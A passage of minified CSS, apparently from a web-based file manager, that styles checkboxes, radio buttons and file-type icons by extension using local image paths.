solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none 